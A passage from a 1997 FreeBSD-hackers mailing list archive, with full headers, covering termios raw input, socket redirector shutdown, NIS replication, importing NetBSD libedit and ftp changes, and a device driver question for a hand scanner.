Tim Vanderhoek > Cc: Steve Howe; freebsd-hackers > Subject: Re: BSD io > > On Tue, 24 Jun 1997, Tim Vanderhoek wrote: > > > #include > > #include > > struct termios old, new; > > main(){ > > tcgetattr (fileno(stdin), &old); new = old; > > new &= ~(ICANON|ECHO); > > new.c_lflag &= ~(ICANON|ECHO); > > Actually, FWIW, I like the section the GNU C library reference > manual has on this. Easier, more on-topic, and nicer than man 4 > termios. The manual is on the web in html (search Yahoo, "GNU > Info"), if anyone cares... > > > -- > Outnumbered? Maybe. Outspoken? Never! > tIM...HOEk > From owner-freebsd-hackers Tue Jun 24 19:11:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA23486 for hackers-outgoing; Tue, 24 Jun 1997 19:11:06 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA23478 for ; Tue, 24 Jun 1997 19:11:04 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id TAA11166; Tue, 24 Jun 1997 19:04:54 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd011162; Wed Jun 25 02:04:49 1997 Message-ID: <33B07C77.59E2B600@whistle.com> Date: Tue, 24 Jun 1997 19:03:35 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: jbryant@tfs.net CC: Steve Howe , freebsd-hackers@FreeBSD.ORG Subject: Re: BSD io References: <199706242352.SAA04082@argus.nuke.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jim Bryant wrote: > > In reply: > > > > in /usr/share/examples/drivers > > > are two shell scripts that WRITE A DRIVER FOR YOU > > > > my directory is empty, what dist fills the drivers directory? > > mine too... > > > sorry it's only tagged for -current but shoul dbe in 2.2 as well (I forgot). get them from teh cvs source http://www.freebsd.org/cgi/cvsweb.cgi/src/share/examples/drivers From owner-freebsd-hackers Tue Jun 24 20:02:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25906 for hackers-outgoing; Tue, 24 Jun 1997 20:02:59 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.51]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA25899 for ; Tue, 24 Jun 1997 20:02:47 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id XAA14373; Tue, 24 Jun 1997 23:01:23 -0400 (EDT) Date: Tue, 24 Jun 1997 23:01:20 -0400 (EDT) From: Brian Mitchell To: Jaye Mathisen cc: Nadav Eiron , Adrian Chadd , freebsd-hackers@FreeBSD.ORG Subject: Re: socket redirector In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Jaye Mathisen wrote: When the peer closes a connection, read() should return 0 SOCK_STREAM only - for udp, I don;t think there is a really 100% reliable way to determine when the peer has shut down). > > Or netcat out of ports. It would probably work fine as well. > > On Sat, 21 Jun 1997, Nadav Eiron wrote: > > > > > > > On Fri, 20 Jun 1997, Adrian Chadd wrote: > > > > > Hey guys. > > > > > > I'm writing a quick socket redirector for something. Its run out of inetd, > > > and basically opens a socket somewhere and acts as a pipe between the two. > > > I'm using select(), and its working fine. The only problem I'm having is > > > that I don't know how to tell when the remote end closes the connection > > > down, so that I can just close everything down, and quit. > > > > > > Any ideas on how I'd do this? > > > > Why not just use plug-gw from the fwtk? From your description it sounds > > like just the thing you need. > > > > > > > > Thanks, > > > > > > -- > > > Adrian Chadd | "Unix doesn't stop you from doing > > > | stupid things because that would > > > | stop you from doing clever things" > > > > > > > > > > > Nadav > > > > Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt From owner-freebsd-hackers Tue Jun 24 20:06:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA26034 for hackers-outgoing; Tue, 24 Jun 1997 20:06:48 -0700 (PDT) Received: from deathstar.ml.org (adrian@deathstar.ml.org [203.62.152.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA26029 for ; Tue, 24 Jun 1997 20:06:45 -0700 (PDT) Received: from localhost (adrian@localhost) by deathstar.ml.org (8.8.5/8.7.3) with SMTP id LAA26690; Wed, 25 Jun 1997 11:08:47 +0800 Date: Wed, 25 Jun 1997 11:08:47 +0800 (WST) From: Adrian Chadd To: Brian Mitchell cc: Jaye Mathisen , Nadav Eiron , freebsd-hackers@FreeBSD.ORG Subject: Re: socket redirector In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Brian Mitchell wrote: > On Tue, 24 Jun 1997, Jaye Mathisen wrote: > > When the peer closes a connection, read() should return 0 SOCK_STREAM only > - for udp, I don;t think there is a really 100% reliable way to determine > when the peer has shut down). Yep. I should have told people.. I solved it a couple days ago.. and yes it was a read() of a disconnected stream would return 0. Thanks for the help btw. I knew there were programs out there to do it, I just wanted to remember my sockets programming (since I've been spending FAR too much time coding cgi stuff in Perl *sigh*) > "BSD code sucks. Of course, everything else sucks far more." > - Theo de Raadt Interesting .sig *grin* -- Adrian Chadd | "Unix doesn't stop you from doing | stupid things because that would | stop you from doing clever things" From owner-freebsd-hackers Tue Jun 24 20:27:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA26922 for hackers-outgoing; Tue, 24 Jun 1997 20:27:34 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA26917 for ; Tue, 24 Jun 1997 20:27:31 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA28115 for hackers@freebsd.org; Wed, 25 Jun 1997 12:57:20 +0930 (CST) From: Michael Smith Message-Id: <199706250327.MAA28115@genesis.atrad.adelaide.edu.au> Subject: libedit, etc. (CVS issues) To: hackers@freebsd.org Date: Wed, 25 Jun 1997 12:57:20 +0930 (CST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Ok; following on from the readline() discussion, I've been looking at the changes made to libedit and various other things by the NetBSD people. Most of these look pretty good, and I was planning on bringing their changes over. There are two different situations that I'm looking for some guidance on. Firstly, with libedit, the changes are fairly minor. There are a few new files and some small diffs to existing ones. - Should I be adding $Id$ to files that are modified but don't have it? - Should I keep the $NetBSD$ tags for files that are modified by the changes? - Andrey committed some 8-bit cleanness changes on 960811 which aren't in the NetBSD code. Are these changes still required? A second case is ftp. In this one, there have been no significant changes for quite some time, but the NetBSD changes are quite substantial. - Would it be best to drop the NetBSD code in wholesale on top, replacing what is there outright? - If not, should the $NetBSD$ tags still be preserved? - If so, should the NetBSD code come in on a vendor branch? Can someone clarify how I should do this if so? -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 24 20:41:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA27611 for hackers-outgoing; Tue, 24 Jun 1997 20:41:47 -0700 (PDT) Received: from aak.anchorage.net (ai-132.anchorage.net [207.14.72.132]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA27595 for ; Tue, 24 Jun 1997 20:41:36 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id TAA15862; Tue, 24 Jun 1997 19:29:52 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Tue, 24 Jun 1997 19:29:51 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: Tim Vanderhoek cc: freebsd-hackers Subject: Re: thanks. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Tim Vanderhoek wrote: > #include > #include > struct termios old, new; > main(){ > tcgetattr (fileno(stdin), &old); new = old; > new &= ~(ICANON|ECHO); > tcsetattr (fileno(stdin), TCSANOW, &new); > /* Do my stuff */ > tcsetattr (fileno(stdin), TCSANOW, &old); > } > > /* Might want to fiddle MIN and TIME from man 4 termios, but in > practice, it'll not matter much */ > > You don't want to scan the screen directly, you probably just > want to throw what gets entered onscreen into a bunch of separate > strings, and then scan those. > > I would guess that some interpreted your quote slightly > differently, though. > > Incidentally, ncurses is distributed with a > (completely-documented) libforms which (supposedly) makes it > fairly easy to do that. I can't reccomend it, as I've never used > it, though... (Also, libforms gets stripped from ncurses before > ncurses is distributed with FreeBSD, so you have to grab and > build ncurses yourself. I believe it builds out-of-box.) > > Well, I'm using strings on /dev/wd0 right now to try and find any > instances of the word "fuck" on my hdd. su; strings /dev/wd0 | > more. I'm suprised, actually... It's been going for a while and > still hasn't found anything (and all my MS programs are at the > front of the disk! :)... Maybe it's getting screwed-up by > case-sensitivity... > > Outnumbered? Maybe. Outspoken? Never! > tIM...HOEk a good man, thanks. ps. i never claimed to be anything other than ignorant with unix, and don't know if it's completely possible not to be with any field. too bad there's not more people like tim and terry - learning would be a real joy. ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Tue Jun 24 20:43:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA27688 for hackers-outgoing; Tue, 24 Jun 1997 20:43:03 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA27667 for ; Tue, 24 Jun 1997 20:42:56 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/) with SMTP id XAA29434 for ; Tue, 24 Jun 1997 23:42:52 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id XAA22892 for ; Tue, 24 Jun 1997 23:42:43 -0400 Date: Tue, 24 Jun 1997 23:42:19 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: FreeBSD-Hackers Subject: NIS Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I have been reading about NIS, trying to come to grips with it all, but I haven't been able to com eup with an answer to one last stumbling block. Maybe someone here knows what I don't ... I'm trying to figure out a flexible and reliable setup for a small ISP that has maybe 5 machines. What I would ideally like is to have a main server, have the database on that server duplicated on a second machine just in case the first machine has to go down for maintenance (or some catastrophe), and the rest of the machines be slaves. I'm particularly interested in the passwd map. What I don't understand is how the passwd maps can get converted into the passwd file and the mater.passwd file, so they could be duplilcated, both on the main server and the secondary server. I think I understand how yp_mkdb makes the nis maps, but I don't see how the source files for the maps get updated. I know this isn't terribly important for files other than passwd, but it's passwd that I'm interested in. I want to have the master.passwd and passwd files on the server right up to date, and the same files on the backup server fairly close, say, no more than several hours out of date. I could just move the files occaisonally from the server to a backup dir on the slave server, but I don't see how they ever get built at all on the master. Clarifying: I see how the maps gets built on the master, first time, but once yppasswd changes some user's passwd, then the source files are out of date. How do they get updated? ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Tue Jun 24 21:07:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA28405 for hackers-outgoing; Tue, 24 Jun 1997 21:07:32 -0700 (PDT) Received: from milehigh.denver.net (milehigh.denver.net [204.144.180.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA28400 for ; Tue, 24 Jun 1997 21:07:28 -0700 (PDT) Received: from localhost (jdc@localhost) by milehigh.denver.net (8.8.5/8.8.5) with SMTP id WAA00919 for ; Tue, 24 Jun 1997 22:07:30 -0600 (MDT) Date: Tue, 24 Jun 1997 22:07:30 -0600 (MDT) From: John-David Childs To: freebsd-hackers@freebsd.org Subject: bug in rc/rc.network regarding NAMED??? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Pardon me if this has been mentioned before, but I think there's a minor bugaboo in /etc/rc & /etc/rc.network in regards to the startup of named. Specifically, a comment in /etc/rc mentions that named should be started before syslogd and other daemons, but /etc/rc doesn't run "network_pass2()" (where the named daemon startup code is located) until AFTER syslogd is started. -- John-David Childs (JC612) @denver.net/Internet-Coach System Administrator Enterprise Internet Solutions & Network Engineer 901 E 17th Ave, Denver 80218 "I used up all my sick days... so I'm calling in dead!" From owner-freebsd-hackers Tue Jun 24 21:17:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA28757 for hackers-outgoing; Tue, 24 Jun 1997 21:17:36 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA28746 for ; Tue, 24 Jun 1997 21:17:33 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id VAA19133; Tue, 24 Jun 1997 21:17:45 -0700 (PDT) To: Michael Smith cc: hackers@FreeBSD.ORG Subject: Re: libedit, etc. (CVS issues) In-reply-to: Your message of "Wed, 25 Jun 1997 12:57:20 +0930." <199706250327.MAA28115@genesis.atrad.adelaide.edu.au> Date: Tue, 24 Jun 1997 21:17:44 -0700 Message-ID: <19130.867212264@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > A second case is ftp. In this one, there have been no significant > changes for quite some time, but the NetBSD changes are quite > substantial. > - Would it be best to drop the NetBSD code in wholesale on top, replacing > what is there outright? Well, just so long as theirs works, I don't see a problem with that. :-) Jordan From owner-freebsd-hackers Tue Jun 24 21:22:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA29038 for hackers-outgoing; Tue, 24 Jun 1997 21:22:10 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA29033 for ; Tue, 24 Jun 1997 21:22:05 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA28518; Wed, 25 Jun 1997 13:51:57 +0930 (CST) From: Michael Smith Message-Id: <199706250421.NAA28518@genesis.atrad.adelaide.edu.au> Subject: Re: libedit, etc. (CVS issues) In-Reply-To: <19130.867212264@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 24, 97 09:17:44 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Wed, 25 Jun 1997 13:51:56 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard stands accused of saying: > > A second case is ftp. In this one, there have been no significant > > changes for quite some time, but the NetBSD changes are quite > > substantial. > > - Would it be best to drop the NetBSD code in wholesale on top, replacing > > what is there outright? > > Well, just so long as theirs works, I don't see a problem with that. :-) The only problem that I recall from when the code was added to NetBSD was with ange-ftp, which suffered from the new output format. As a non-ange user, I didn't follow the thread too closely. Does anyone use ange-ftp regularly? Can anyone with real NetBSD connections recall the outcome of this issue? (Jason? Earth to Jason Thorpe!) > Jordan -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 24 21:36:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA29802 for hackers-outgoing; Tue, 24 Jun 1997 21:36:38 -0700 (PDT) Received: from kaiwan.kaiwan.com (4@kaiwan.kaiwan.com [198.178.203.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA29795 for ; Tue, 24 Jun 1997 21:36:34 -0700 (PDT) Received: from exit.com (uucp@localhost) by kaiwan.kaiwan.com (8.6.12/8.6.12) with UUCP id VAA14918; Tue, 24 Jun 1997 21:34:11 -0700 *** KAIWAN Internet Access *** Received: (from frank@localhost) by exit.com (8.8.5/8.7.3) id VAA11972; Tue, 24 Jun 1997 21:30:31 -0700 (PDT) From: Frank Mayhar Message-Id: <199706250430.VAA11972@exit.com> Subject: Re: BSD io To: terry@lambert.org (Terry Lambert) Date: Tue, 24 Jun 1997 21:30:30 -0700 (PDT) Cc: hackers@freebsd.org Reply-To: chat@freebsd.org In-Reply-To: <199706242030.NAA03815@phaeton.artisoft.com> from Terry Lambert at "Jun 24, 97 01:30:36 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Terry Lambert wrote: > In point of fact, I worked on a DOS communications program > that could do the same on an 8MHz AT. It took the interrupt > for the first character, disabled interrupts, and polled like > hell until there was a break in the data. It's all a matter > of how you program it. Geeze. Who here has _not_, at some point in their career, written a DOS (or CP/M) communications program? -- Frank Mayhar frank@exit.com I have something in common with Terry Lambert. Who'da thunkit. From owner-freebsd-hackers Tue Jun 24 21:50:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA00522 for hackers-outgoing; Tue, 24 Jun 1997 21:50:43 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA00517 for ; Tue, 24 Jun 1997 21:50:39 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA02631; Wed, 25 Jun 1997 00:50:05 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Wed, 25 Jun 1997 00:50 EDT Received: from lakes.water.net (lakes [10.0.0.3]) by ponds.water.net (8.8.5/8.7.3) with ESMTP id VAA13761; Tue, 24 Jun 1997 21:36:34 -0400 (EDT) Received: (from rivers@localhost) by lakes.water.net (8.8.5/8.6.9) id VAA05518; Tue, 24 Jun 1997 21:45:06 -0400 (EDT) Date: Tue, 24 Jun 1997 21:45:06 -0400 (EDT) From: Thomas David Rivers Message-Id: <199706250145.VAA05518@lakes.water.net> To: ponds!cdsnet.net!mrcpu, ponds!lakes.water.net!rivers Subject: Re: panics/file system corruption - was Re: OpenBSD Cc: ponds!freebsd.org!hackers, ponds!sdf.com!tom Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye writes: > > > John Dyson mentioned in some private email to me that he found some more > vnode locking problems in the code, and was rewriting the sections in > question for a 3.0-SMP release. I think it ended up being some conditions > that weren't being tested, or somesuch. It least is a bit of relief to me > that regardless of whether or not this fixes my specific problem, at least > some more bugs were fixed. :) > > The code would need to be backported to 2.x. > > So I haven't been able to test his fixes, although I can include the 3.0 > section of code if somebody knowledgeable about the internals wants to > take a crack at it. > I'm willing to take a crack at it; most of the time it's pretty straight-forward, although some things have changed (e.g. vtouch() doesn't exist in 2.2.x) I'm guessing that's different than the first set of diff's he sent out... did you receive my 2.2.x diffs that should be the same as those? And, if so, did you get a chance to try them? I'm not sure that my mail got out; as I had a panic (I believe the 'ppp' one discussed some time ago) that may have messed things up. They didn't work for my problem. - Dave R. - From owner-freebsd-hackers Tue Jun 24 21:58:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA00681 for hackers-outgoing; Tue, 24 Jun 1997 21:58:07 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA00676 for ; Tue, 24 Jun 1997 21:58:05 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.5/8.6.12) with SMTP id VAA08237; Tue, 24 Jun 1997 21:53:15 -0700 (PDT) Message-Id: <199706250453.VAA08237@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Michael Smith Cc: jkh@time.cdrom.com (Jordan K. Hubbard), hackers@freebsd.org Subject: Re: libedit, etc. (CVS issues) Reply-To: Jason Thorpe From: Jason Thorpe Date: Tue, 24 Jun 1997 21:53:15 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997 13:51:56 +0930 (CST) Michael Smith wrote: > Does anyone use ange-ftp regularly? Can anyone with real NetBSD > connections recall the outcome of this issue? (Jason? Earth to Jason > Thorpe!) Luke fixed the problem with ange-ftp shortly after it was reported. Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: 408.866.1912 NAS: M/S 258-6 Work: 415.604.0935 Moffett Field, CA 94035 Pager: 415.428.6939 From owner-freebsd-hackers Tue Jun 24 21:59:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA00712 for hackers-outgoing; Tue, 24 Jun 1997 21:59:18 -0700 (PDT) Received: from sonyinet.sony.co.jp (sonyinet.sony.co.jp [202.238.80.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA00707 for ; Tue, 24 Jun 1997 21:59:15 -0700 (PDT) Received: (from uucp@localhost) by sonyinet.sony.co.jp (8.8.6/3.4W4-96030410) id NAA26885; Wed, 25 Jun 1997 13:59:05 +0900 (JST) Received: from unknown(43.0.1.249) by sonyinet.sony.co.jp via smap (V2.0) id xma026805; Wed, 25 Jun 97 13:58:38 +0900 Received: from parity-error.cv.sony.co.jp ([43.4.144.39]) by sonygw.sony.co.jp (8.6.12+2.4W/3.4W-97020512) with ESMTP id NAA14971; Wed, 25 Jun 1997 13:58:22 +0900 Received: (from enami@localhost) by parity-error.cv.sony.co.jp (8.8.5/8.7.3) id NAA19135; Wed, 25 Jun 1997 13:58:20 +0900 (JST) To: Michael Smith Cc: jkh@time.cdrom.com (Jordan K. Hubbard), hackers@FreeBSD.ORG Subject: Re: libedit, etc. (CVS issues) References: <199706250421.NAA28518@genesis.atrad.adelaide.edu.au> From: enami tsugutomo Date: 25 Jun 1997 13:58:20 +0900 In-Reply-To: Michael Smith's message of Wed, 25 Jun 1997 13:51:56 +0930 (CST) Message-ID: Lines: 25 X-Mailer: Gnus v5.4.46/Emacs 19.34 Organization: Sony Corp., IS Center, ES Dept., CAE Gp. Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael Smith writes: > The only problem that I recall from when the code was added to NetBSD > was with ange-ftp, which suffered from the new output format. : > Can anyone with real NetBSD connections recall the outcome of this > issue? I think it was fixed as follows (ange-ftp setup TERM as dumb for ftp process): lukem Tue Jun 10 00:04:44 PDT 1997 Update of /cvsroot/src/usr.bin/ftp In directory netbsd1:/var/slash-tmp/cvs-serv14638 Modified Files: main.c Log Message: Don't use editing or progress bar if $TERM isn't set or is "dumb". Fixes emacs ange-ftp. Suggested by Todd Miller , tested by matt green enami. From owner-freebsd-hackers Tue Jun 24 22:02:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA00883 for hackers-outgoing; Tue, 24 Jun 1997 22:02:26 -0700 (PDT) Received: from bcarsbf5.localhost (x400bnr.nortel.ca [192.58.194.78]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA00875 for ; Tue, 24 Jun 1997 22:02:16 -0700 (PDT) Message-Id: <199706250502.WAA00875@hub.freebsd.org> Received: from bcarsfbb.ott.bnr.ca (actually bcarsfbb.bnr.ca) by bcarsbf5.localhost; Wed, 25 Jun 1997 01:01:22 -0400 Received: from bnr.ca by bcarsfbb.bnr.ca id <04978-0@bcarsfbb.bnr.ca>; Wed, 25 Jun 1997 01:01:01 -0400 Date: 25 Jun 1997 01:00 EDT To: hackers@freebsd.org From: "Andrew Atrens" Subject: newbie device driver question. Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi Folks, You may have answered this one many times, but I couldn't find exactly the info I needed in the mail archive (laziness+slow link), so I thought I'd ask it here. Besides, its short :) I'd really like to buy a hand scanner that I can use under FreeBSD ( rebooting into Windows is a hassle ). Since Logitech is the only hand-scanner vendor in my neck of the woods, and no Logitech drivers exist for FreeBSD, I gather this means that I need to write a device driver for it. Now, Logitech appears to have two models to choose from. The newest model connects via parallel port and communicates via a proprietary protocol with the PC. The second, older variety has its own ISA card. A partially complete (alpha quality) linux driver already exists for this beastie. So, to get to the point, I suppose the older model ( the one with the proprietary ISA card ), would require a (standard) ISA device driver much like what one of Julian's scripts would produce. BUT the newer model, requiring only a parallel port connection, would that need an ISA dev driver, or else a `pseudo device' driver? Or perhaps just a simple userland program? As I said, this is a *newbie* question. Regardless, I think I've resigned myself to buying the older model, since I'm not sure how to begin to reverse-engineer the newer's port protocol. Thanks in advance. Andrew Atrens ( opinions are mine, not Nortel's ) Nortel From owner-freebsd-hackers Tue Jun 24 22:24:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA02012 for hackers-outgoing; Tue, 24 Jun 1997 22:24:42 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA02004 for ; Tue, 24 Jun 1997 22:24:37 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id OAA28799 for hackers@freebsd.org; Wed, 25 Jun 1997 14:54:28 +0930 (CST) From: Michael Smith Message-Id: <199706250524.OAA28799@genesis.atrad.adelaide.edu.au> Subject: Re: libedit, etc. (CVS issues) In-Reply-To: <199706250453.VAA08237@lestat.nas.nasa.gov> from Jason Thorpe at "Jun 24, 97 09:53:15 pm" To: hackers@freebsd.org Date: Wed, 25 Jun 1997 14:54:28 +0930 (CST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jason Thorpe stands accused of saying: > On Wed, 25 Jun 1997 13:51:56 +0930 (CST) > Michael Smith wrote: > > > Does anyone use ange-ftp regularly? Can anyone with real NetBSD > > connections recall the outcome of this issue? (Jason? Earth to Jason > > Thorpe!) > > Luke fixed the problem with ange-ftp shortly after it was reported. Ok, I have three independent confirmations of the ange-ftp fix and there are no Id tags in any of the ftp source. There are a couple of changes that will have to be reapplied, but on the whole it looks pretty clean. Final question; should I add $Id$ strings to these files as they're changed? -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 24 22:30:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA02369 for hackers-outgoing; Tue, 24 Jun 1997 22:30:22 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA02354 for ; Tue, 24 Jun 1997 22:30:16 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id OAA28847; Wed, 25 Jun 1997 14:59:55 +0930 (CST) From: Michael Smith Message-Id: <199706250529.OAA28847@genesis.atrad.adelaide.edu.au> Subject: Re: newbie device driver question. In-Reply-To: <199706250502.WAA00875@hub.freebsd.org> from Andrew Atrens at "Jun 25, 97 01:00:00 am" To: atrens@nortel.ca (Andrew Atrens) Date: 